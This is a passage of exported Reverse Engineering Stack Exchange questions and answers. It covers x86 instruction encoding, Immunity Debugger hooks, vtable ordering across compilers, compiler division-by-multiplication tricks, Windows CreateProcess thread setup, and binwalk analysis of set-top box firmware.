    +-----+------------+-----+\n| Mod | Reg/Opcode | R/M |\n+-----+------------+-----+\n|  00 |     001    | 101 |\n+-----+------------+-----+\n
    \n\n

    The Mod and R/M fields are 00 and 101 respectively. This indicates displacement only addressing mode. See the table below.

    \n\n

    \"enter

    \n\n

    For all the instructions this mode of addressing is used, hence the reason for ORing with 5 (in binary 101) to set that particular bit pattern.

    \n\n

    Coming to the Reg/Opcode field, this indicates a register. \n
    001 is the register index for ECX.

    \n\n

    For the first instruction i.e\n
    0105 00000000 ADD DWORD PTR DS:[0],EAX \n
    this field is 000 standing for EAX. You can check by converting 05 to binary.

    \n\n

    See more in the table below taken from here.

    \n\n

    \"enter

    \n\n

    So basically the register value was SHLed with 3 to move it to the correct position. The Reg/Opcode field is 3 bits from the right.

    \n\n

    Finally the last 4 bytes are 00000000. This represents the displacement which is zero in this example.

    \n" }, { "Id": "12854", "CreationDate": "2016-06-15T17:25:57.953", "Body": "

    I try to use a simple hook on different memory allocation functions in Immunity. But the hook doesn't react at all (no logging).

    \n\n

    First of all my hook class:

    \n\n
    class AllocHook(LogBpHook):\n    def __init__(self):\n        LogBpHook.__init__(self)\n\n    def run(self, regs):\n        imm = immlib.Debugger()\n        imm.log(\"     ++++++++++++++++++ HOOOKED\")\n        imm.log(str(regs))\n        imm.log(\"     ++++++++++++++++++ HOOOKED\")\n
    \n\n

    The function to init and add the hook.

    \n\n
    def hookAlloc(imm):\n    global vAllocHo\n    # Retrieve address of Allocs\n    # Create hook object and add hook\n    va1 = imm.getAddress(\"kernel32.LocalAlloc\")\n    vAllocHo = AllocHook()\n    vAllocHo.add(\"va alloc\",va1)\n    vAllocHo.enable()\n
    \n\n

    So the log appears in the breakpoint window, but the run() function actually never gets called.

    \n\n
    Breakpoints, item 26\nAddress=76C91668 kernel32.LocalAlloc\nModule=kernel32\nActive=Log\nDisassembly=MOV EDI,EDI\n
    \n\n

    The log messages of the breakpoints are at least disappearing when the hook is activated. For example, after activating the hook, the following logging messages are not displayed anymore:

    \n\n
    Log data, item 40\nAddress=76C91668 \nMessage=[19:12:51] Breakpoint at kernel32.LocalAlloc\n
    \n\n

    Are there special settings in the options left, which I have to consider first?

    \n", "Title": "Hooking in Immunity - LogBpHook not working", "Tags": "|debugging|immunity-debugger|function-hooking|", "Answer": "

    In the heat of the moment I didn't start Immunity as an Administrator.\nSo missing privileges have caused this behaviour during the debugging process.

    \n" }, { "Id": "12857", "CreationDate": "2016-06-16T01:20:52.197", "Body": "

    I'm currently reversing two binaries compiled using the same exact C++ codebase. The two binaries were compiled on two different systems with different architectures: x64 on Windows and ARMv7 on Android. The Windows binary was compiled with MSVC, while the Android binary I believe was compiled with GCC (may also be Clang). Lastly, the Android binary has its symbol table completely intact, while the Windows binary has RTTI which I can use to name vtables.

    \n\n

    I'm using the Android binary as reference to help reverse the Windows binary. What I've noticed so far is that vtable entries between the two binaries seem to be in the same order, i.e. the same function can be found at the same vtable index in both binaries. However, what I'm wondering is if it's safe to assume they will always be in the same order, or if the order changes depending on the compiler.

    \n", "Title": "Does the order of vtable entries vary depending on the compiler?", "Tags": "|vtables|", "Answer": "

    In General, with modern operating systems, the order won't depend on the compiler, but it may depend on the operating system.

    \n\n

    Any modern operating system does not just define the operating system API, but also, lots of standard libraries that make it easier for programs to access that API. Also, there's a lot of libraries that offer services that don't translate directly to the OS API, but provide a generalized API for something else. Like QT for Linux, or MSVC for windows.

    \n\n

    If you're a compiler vendor (for a relaxed definition of \"vendor\" as most compilers are free today), you want the code that your compiler generates to be able to interface with these standard libraries. If you try to get people to use \"your\" compiler, but tell them they can't use the interfaces the OS, or standard libraries, provide, you'll have a hard time convincing them. Which means, any compiler generating Windows code will make sure it adheres to the MSVC standards. Any compiler generating Linux code will adhere to the Linux/BSD standards of gcc . This is not just about layout of vtables, it encompasses name mangling, register and stack usage for function arguments/return values, handling of floating point, and lots of other stuff as well. The name for that is the ABI (application binary interface).

    \n\n

    Note that this wasn't always the case; in the late days of DOS/early days of Windows, when Microsoft C(++) and Watcom C(++) were the (most important) competitors, they had hugely different ABIs. You couldn't (without going through a lot of extra hoops) link a program compiled with Watcom to a library compiled with MS, but that wasn't a big deal then, as the compilers included all libraries anyways, and open source libraries to be included in your program were (mostly) unheard of. (Watcom didn't even use vtables back then; they used function pointers within each object that got instantiated every time a new object was created). So, the farther you go back in time, the less probable it is that two compilers for the same OS share the same ABI.

    \n\n

    Across operating systems, you don't have this neccesity to make libraries compatible, so there's more leeway in handling things differently. However, you'll typically make the same decicions when defining your ABI. Your class constructor will typically be the first vtable entry as every class needs a constructor. The destructor will typically be the second entry as every class needs a destructor. The other vtable entries will typically be next in the vtable, in the order they appear in the source code. Not because you try to be compatible with anything else; just because it's the easiest way to implement something you need to implement.

    \n\n

    Which also means you can't rely on that. If there's a new company, let's call them Orange, designs a new device with an operating system they call O-IS (Orange Integration System), they might want to roll their own compiler. Maybe they decide that, in their ABI, method names should be sorted alphabetically in their vtables. Maybe they make decisions how to handle multiple inheritance and and virtual functions that are different from how MSVC and gcc handle these things. And when O-IS comes out, and the gcc people decide they want gcc to be able to compile for O-IS, they'll adjust their code generation to the new standard that Orange set for O-IS.

    \n\n

    Sometimes, companies try to agree on an ABI for a new processor, like this for the ill-fated Itanium. Of course, these are recommendations, not laws, so an operating system/device vendor may or may not choose to adhere to them.

    \n\n

    So, to compare vtables between different compilers and operating systems, you need to check ABI definitions of these compiler for these operating systems.

    \n\n

    Wikipedia's entry shows (a part of) how gcc handles the Linux ABI, and while i wasn't able to find any official documentation by MS about how MSVC does it, openrce.org has an article about that.

    \n" }, { "Id": "12860", "CreationDate": "2016-06-16T12:20:30.940", "Body": "

    Hi I want to write those instructions in C, I'm having trouble with SAR EDX,6,

    \n\n

    ASM

    \n\n
    MOV EDX,8\nMOV EDI,1\nIMUL EDI,EDX\nMOV EAX,ED9CE24E\nIMUL EDI\nSAR EDX,6\n
    \n\n

    my try

    \n\n
    int edi=1\nint edx=8\nedi*=edx;\nedx=((long long)edi*0xED9CE24E) >> 32 >> 6;\n
    \n", "Title": "Why does the C compiler generate integer multiplication with large, seemingly random, numbers?", "Tags": "|assembly|c|", "Answer": "

    Yes, the sar instruction is at least similar enough to >> to be valid in your code. Technically, sar is for shift arithmetric right which treats the carry/sign bit a bit different. But handling edge cases like overflow etc. can't be translated well from assembly to C anyway.

    \n\n

    The question that's more interesting is \"what does this do\". In this case, the compiler is using a trick to replace an (expensive) float division by a (cheap) integer multiplication.

    \n\n

    For example, calculating

    \n\n
    int something=get_an_integer_from_somewhere();\nint result=(int)((double)something/1.2345)\n
    \n\n

    is quite expensive.

    \n\n

    But, since 1/1.2345 = 0.810044552, this is the same as

    \n\n

    result=(int)((double)something*0.810044552).

    \n\n

    Well, we replaced a division by a multiplication, but this is still expensive.

    \n\n

    However, we can write 0.810044552 as 3479114859/4294967296. And 4294967296 \"happens\" to be 2^32. So we can rewrite the whole thing as

    \n\n

    result=something*3479114859/4294967296. And suddenly we don't need the floating point multiplication/division anymore; we just need an integer division, which is, in this case, very inexpensive, as it's just a shift right by 32 bits.

    \n\n

    And this is what your original C code seems to have been, which was then optimized by the compiler to not use a float division:

    \n\n

    result=input/8.619

    \n\n

    Try it with some example values.

    \n" }, { "Id": "12861", "CreationDate": "2016-06-16T12:56:39.563", "Body": "

    When calling CreateProcess internally it will call (obviously ZwCreateProcessEx and then) ZwCreateThread with a CreateSuspended set to True, then i assume final initialization is taking place. Afterwards it is calling ZwResumeThread and then everything is working as it should.

    \n\n

    My question is focused on the ZwCreateThread function:\nhttp://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html

    \n\n

    Where exactly in this whole CreateProcess Routine, it is allocating the memory in the remote process for the ThreadStartRoutine Parameter, which in the ZwCreateThread, is the parameter ThreadContext->EAX, i have seen a couple of NtAllocateVirtualMemory with Protect of value PAGE_EXECUTE_READWRITE - 0x40 but none of them is allocating the memory for the NewThreadRoutine.. so where exactly the Thread entrypoint is being allocated?

    \n", "Title": "CreateProcess - First thread routine - where is the memory allocated for the thread?", "Tags": "|windows|memory|winapi|thread|process|", "Answer": "

    Disclaimer: The implementation of these APIs is likely to change between versions of Windows. I will be referencing 32-bit Windows XP SP3 in my answer. Your results may vary.

    \n\n

    How thread creation works

    \n\n

    There are three structures that must be initialized before calling NtCreateThread:

    \n\n
      \n
    1. INITIAL_TEB: Contains pointers to the stack region
      2. \n
    2. CONTEXT: Contains the register state
      3. \n
    3. OBJECT_ATTRIBUTES: Contains security attributes for the thread
      4. \n
    \n\n

    In my implementation, there are dedicated functions that handle each of these tasks: BaseCreateStack, BaseInitializeContext, and BaseFormatObjectAttributes, respectively.

    \n\n

    The BaseInitializeContext function is the one you're interested in, however, since the new thread will begin at CONTEXT.Eip.

    \n\n

    Interestingly, BaseInitializeContext instead puts the thread's start address (i.e. the entry point of the new process) in CONTEXT.Eax. And CONTEXT.Eip is set to the address of BaseProcessStartThunk. (Since kernel32 is mapped at the same address in every process, we know this will also be the address of BaseProcessStartThunk in the other process)

    \n\n

    So when we call NtCreateThread, we start a new thread in the other process at BaseProcessStartThunk with eax equal to the entry point.

    \n\n

    BaseProcessStartThunk saves the start address from register eax. It sets the start address internally by calling NtSetInformationThread with a ThreadInformationClass of ThreadQuerySetWin32StartAddress (see ntddk.h). It then calls the start address. Finally, when the thread returns, it calls ExitThread.

    \n\n

    How the executable image is mapped into the new process

    \n\n

    If you want to know the process was created in the first place, we have to go back a few steps.

    \n\n

    First, a handle to the new process executable is opened via NtOpenFile.

    \n\n

    The file handle is used to create a section object via NtCreateSection.

    \n\n

    A call to NtQuerySection with InformationClass set to SectionImageInformation is made. This parses the the section object and fills out a SECTION_IMAGE_INFORMATION structure, which most notably includes fields the EntryPoint field. This is how the entry point of the new process is determined.

    \n\n

    Eventually, NtCreateProcessEx is called, given the section handle from NtCreateSection as a parameter. This is what actually creates the new process and maps the executable image into the new process' address space, among many other things. NtCreateProcessEx also provides the process handle that we pass to NtCreateThread to create the new thread.

    \n" }, { "Id": "12863", "CreationDate": "2016-06-16T14:33:35.813", "Body": "

    Iv got firmware from vivax set-top box backed up on flash drive and I vould like to change splash screen on it. The firmware seem to be yaffs but I cant extract files in order to change something.

    \n\n
    :~$ binwalk usb_backup_upgrade.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n27288         0x6A98          SHA256 hash constants, little endian\n69888         0x11100         LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 1059144 bytes\n462876        0x7101C         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7916292 bytes\n
    \n\n

    when I extract usb_backup_upgrade.bin Iv got 4 files

    \n\n
    _usb_backup_upgrade.bin.extracted$ ls\n11100  11100.7z  7101C  7101C.7z  _7101C.extracted\n
    \n\n

    First 11100

    \n\n
    $ binwalk 11100\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n7812          0x1E84          JPEG image data, JFIF standard 1.01\n8058          0x1F7A          Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#\">\n8220          0x201C          Unix path: /ns.adobe.com/xap/1.0/g/img/\">\n25303         0x62D7          Unix path: /kfdf9k2R8cMvysvJWg/5xP/ADLSzurWTVNMMU/p&#xA;yJFHeXSRevE1EkljNowk4xSSqv2SC1a0qrPjhfyslWy/5xX/ADLgUxTX+iT27U9SGSa5dGoQRVWt&#xA;qH\n27374         0x6AEE          Unix path: /ns.adobe.com/xap/1.0/mm/\"\n27432         0x6B28          Unix path: /ns.adobe.com/xap/1.0/sType/ResourceRef#\"\n27505         0x6B71          Unix path: /ns.adobe.com/xap/1.0/sType/ResourceEvent#\"\n27580         0x6BBC          Unix path: /ns.adobe.com/xap/1.0/sType/ManifestItem#\">\n38474         0x964A          Unix path: /purl.org/dc/elements/1.1/\">\n772652        0xBCA2C         U-Boot version string, \"U-Boot 1.1.6 (Jan 16 2015 - 02:23:52)\"\n777583        0xBDD6F         POSIX tar archive, owner user name: \"s\", owner group name: \"o_cmd\"\n
    \n\n

    and second

    \n\n
    $ binwalk 7101C\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80558540\n640           0x280           eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80558540\n4307602       0x41BA92        Unix path: /../../HB/app/tv/appTvVideo_dvb.c\n4389070       0x42F8CE        Unix path: /../../HB/app/zapper/appZapper.c\n4391820       0x43038C        CRC32 polynomial table, little endian\n4392970       0x43080A        Unix path: /../../HB/app/main/appMain.c\n4393342       0x43097E        Unix path: /../../HB/app/main/appWDT.c\n4393574       0x430A66        Unix path: /../../HB/app/menu/MApp_Menu.c\n4393758       0x430B1E        Unix path: /../../HB/app/menu/MApp_MenuChannel.c\n4397102       0x43182E        Unix path: /../../HB/app/monitor/appMonitor.c\n4398262       0x431CB6        Unix path: /../../HB/platform/api/font/apiVectorFont.c\n4398414       0x431D4E        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIcontrols.c\n4398666       0x431E4A        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIgdi.c\n4398882       0x431F22        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIwindow.c\n4399178       0x43204A        Unix path: /../../HB/platform/api/zui/MApp_ZUI_Main.c\n4399302       0x4320C6        Unix path: /../../HB/platform/api/zui/apiMvf_base.c\n4399654       0x432226        Unix path: /../../HB/platform/api/zui/apiMvf_grays.c\n4401186       0x432822        Unix path: /../../HB/platform/api/database/MApp_SaveData.c\n4401744       0x432A50        CRC32 polynomial table, little endian\n4402906       0x432EDA        Unix path: /../../HB/platform/api/database/apiDTVDataManager.c\n4404518       0x433526        Unix path: /../../HB/platform/api/chscan/apiChScan.c\n4405394       0x433892        Unix path: /../../HB/platform/api/EPG_Swap_DB/apiEPG_DB.c\n4408198       0x434386        Unix path: /../../HB/platform/api/EPG_Swap_DB/apiEPG_EIT_Swap.c\n4410158       0x434B2E        Unix path: /../../HB/platform/driver/pq/drvPQ.c\n4413646       0x4358CE        Unix path: /../../HB/platform/driver/pq/hal/kriti_mstar/include/QualityMap_BW.c\n4414022       0x435A46        Unix path: /../../HB/platform/driver/pq/hal/kriti_mstar/mhal_pq.c\n4415066       0x435E5A        Unix path: /../../HB/app/media/appMM_Browser.c\n4416158       0x43629E        Unix path: /../../HB/app/media/appPVR_playback.c\n4416918       0x436596        Unix path: /../../HB/app/media/MMfilesystem/apiFSUtil.c\n4417234       0x4366D2        Unix path: /../../HB/app/media/portinglayer/mm/src/porting_audio.c\n4425946       0x4388DA        Unix path: /../../HB/app/media/vdplayerV2/appMM_playback.c\n4426570       0x438B4A        Unix path: /../../HB/platform/zui/MApp_ZUI_ACTglobal.c\n4427538       0x438F12        Unix path: /../../HB/platform/zui/MApp_ZUI_GDISetup.c\n4427974       0x4390C6        Unix path: /../../HB/platform/zui/widgets/MApp_ZUI_CTLsolidprogressbar.c\n4428226       0x4391C2        Unix path: /../../HB/platform/zui/pagedoc/MApp_PvrZapper.c\n4428446       0x43929E        Unix path: /../../HB/platform/zui/pagedoc/MApp_Pvrv3.c\n4438850       0x43BB42        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTAudioLanguage.c\n4439082       0x43BC2A        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTChannelInfo.c\n4440318       0x43C0FE        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaMoviePlay.c\n4441950       0x43C75E        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaPlay.c\n4442178       0x43C842        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaSimpleStart_PVR.c\n4443290       0x43CC9A        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMenuPvrDevice.c\n4444006       0x43CF66        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTPvrSubtitleLanguage.c\n4444586       0x43D1AA        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTSubtitle.c\n4445218       0x43D422        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTbookmanage.c\n4445966       0x43D70E        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTprogedit.c\n4447410       0x43DCB2        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTtvbanner.c\n4448530       0x43E112        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTtvfavoritelist.c\n4448774       0x43E206        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_Utility.c\n5003844       0x4C5A44        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/s\n5003845       0x4C5A45        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/sm\"\n5003875       0x4C5A63        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/smp.hxx\"\n5003893       0x4C5A75        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/smp.hxx\"\n5003981       0x4C5ACD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/\"\n5004011       0x4C5AEB        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mempolt2.inl\"\n5004029       0x4C5AFD        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mempolt2.inl\"\n5004125       0x4C5B5D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/malloc.cxx\"\n5004155       0x4C5B7B        eCos RTOS string reference: \"eCospro/packages/services/memalloc/common/v2_0_60/src/malloc.cxx\"\n5004221       0x4C5BBD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/misc.cxx\"\n5004251       0x4C5BDB        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/misc.cxx\"\n5004333       0x4C5C2D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_supp.c\"\n5004363       0x4C5C4B        eCos RTOS string reference: \"eCospro/packages/fs/fat/v2_0_60/src/fatfs_supp.c\"\n5005580       0x4C610C        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c\n5005581       0x4C610D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c\"\n5005611       0x4C612B        eCos RTOS string reference: \"eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c\"\n5005940       0x4C6274        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c\n5005941       0x4C6275        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c\"\n5005971       0x4C6293        eCos RTOS string reference: \"eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c\"\n5006676       0x4C6554        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/disk/v2_0_60/src/disk.c\n5006677       0x4C6555        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/disk/v2_0_60/src/disk.c\"\n5006707       0x4C6573        eCos RTOS string reference: \"eCospro/packages/io/disk/v2_0_60/src/disk.c\"\n5008348       0x4C6BDC        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/hal/common/v2_0_60/src/hal_misc.c\n5008349       0x4C6BDD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/hal/common/v2_0_60/src/hal_misc.c\"\n5008379       0x4C6BFB        eCos RTOS string reference: \"eCospro/packages/hal/common/v2_0_60/src/hal_misc.c\"\n5008609       0x4C6CE1        eCos RTOS string reference: \"eCos][CPU INFO] : CPU Clock = %d : RTC Period = %d\"\n5009060       0x4C6EA4        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/clock.cxx\n5009061       0x4C6EA5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/clock.cxx\"\n5009091       0x4C6EC3        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/common/clock.cxx\"\n5009409       0x4C7001        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/kapi.cxx\"\n5009439       0x4C701F        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/common/kapi.cxx\"\n5009493       0x4C7055        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/th\"\n5009523       0x4C7073        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/thread.inl\"\n5009541       0x4C7085        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/thread.inl\"\n5010176       0x4C7300        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/thread.cxx\n5010177       0x4C7301        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/thread.cxx\"\n5010207       0x4C731F        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/common/thread.cxx\"\n5010465       0x4C7421        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/except.cxx\"\n5010495       0x4C743F        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/common/except.cxx\"\n5010684       0x4C74FC        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx\n5010685       0x4C74FD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx\"\n5010715       0x4C751B        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx\"\n5011337       0x4C7789        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sched/mlqueue.cxx\"\n5011367       0x4C77A7        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sched/mlqueue.cxx\"\n5011925       0x4C79D5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sched/sched.cxx\"\n5011955       0x4C79F3        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sched/sched.cxx\"\n5012620       0x4C7C8C        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx\n5012621       0x4C7C8D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx\"\n5012651       0x4C7CAB        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx\"\n5012833       0x4C7D61        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/flag.cxx\"\n5012863       0x4C7D7F        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sync/flag.cxx\"\n5013293       0x4C7F2D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mb\"\n5013323       0x4C7F4B        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mboxt2.inl\"\n5013341       0x4C7F5D        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mboxt2.inl\"\n5014181       0x4C82A5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/mutex.cxx\"\n5014211       0x4C82C3        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sync/mutex.cxx\"\n5014897       0x4C8571        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx\"\n5014927       0x4C858F        eCos RTOS string reference: \"eCospro/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx\"\n5015649       0x4C8861        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/setjmp/v2_0_60/src/longjmp.cxx\"\n5015679       0x4C887F        eCos RTOS string reference: \"eCospro/packages/language/c/libc/setjmp/v2_0_60/src/longjmp.cxx\"\n5015829       0x4C8915        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi\"\n5015859       0x4C8933        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stream.inl\"\n5015877       0x4C8945        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stream.inl\"\n5016101       0x4C8A25        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx\"\n5016131       0x4C8A43        eCos RTOS string reference: \"eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx\"\n5016201       0x4C8A89        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi\"\n5016231       0x4C8AA7        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/streambuf.inl\"\n5016249       0x4C8AB9        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/streambuf.inl\"\n5017624       0x4C9018        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx\n5017625       0x4C9019        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx\"\n5017655       0x4C9037        eCos RTOS string reference: \"eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx\"\n5018041       0x4C91B9        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/fd.cxx\"\n5018071       0x4C91D7        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/fd.cxx\"\n5018177       0x4C9241        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/file.cxx\"\n5018207       0x4C925F        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/file.cxx\"\n5018605       0x4C93ED        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/dir.cxx\"\n5018635       0x4C940B        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/dir.cxx\"\n5018749       0x4C947D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/select.cxx\"\n5018779       0x4C949B        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/select.cxx\"\n5018857       0x4C94E9        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/main.cxx\"\n5018887       0x4C9507        eCos RTOS string reference: \"eCospro/packages/language/c/libc/startup/v2_0_60/src/main.cxx\"\n5019141       0x4C9605        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi\"\n5019171       0x4C9623        eCos RTOS string reference: 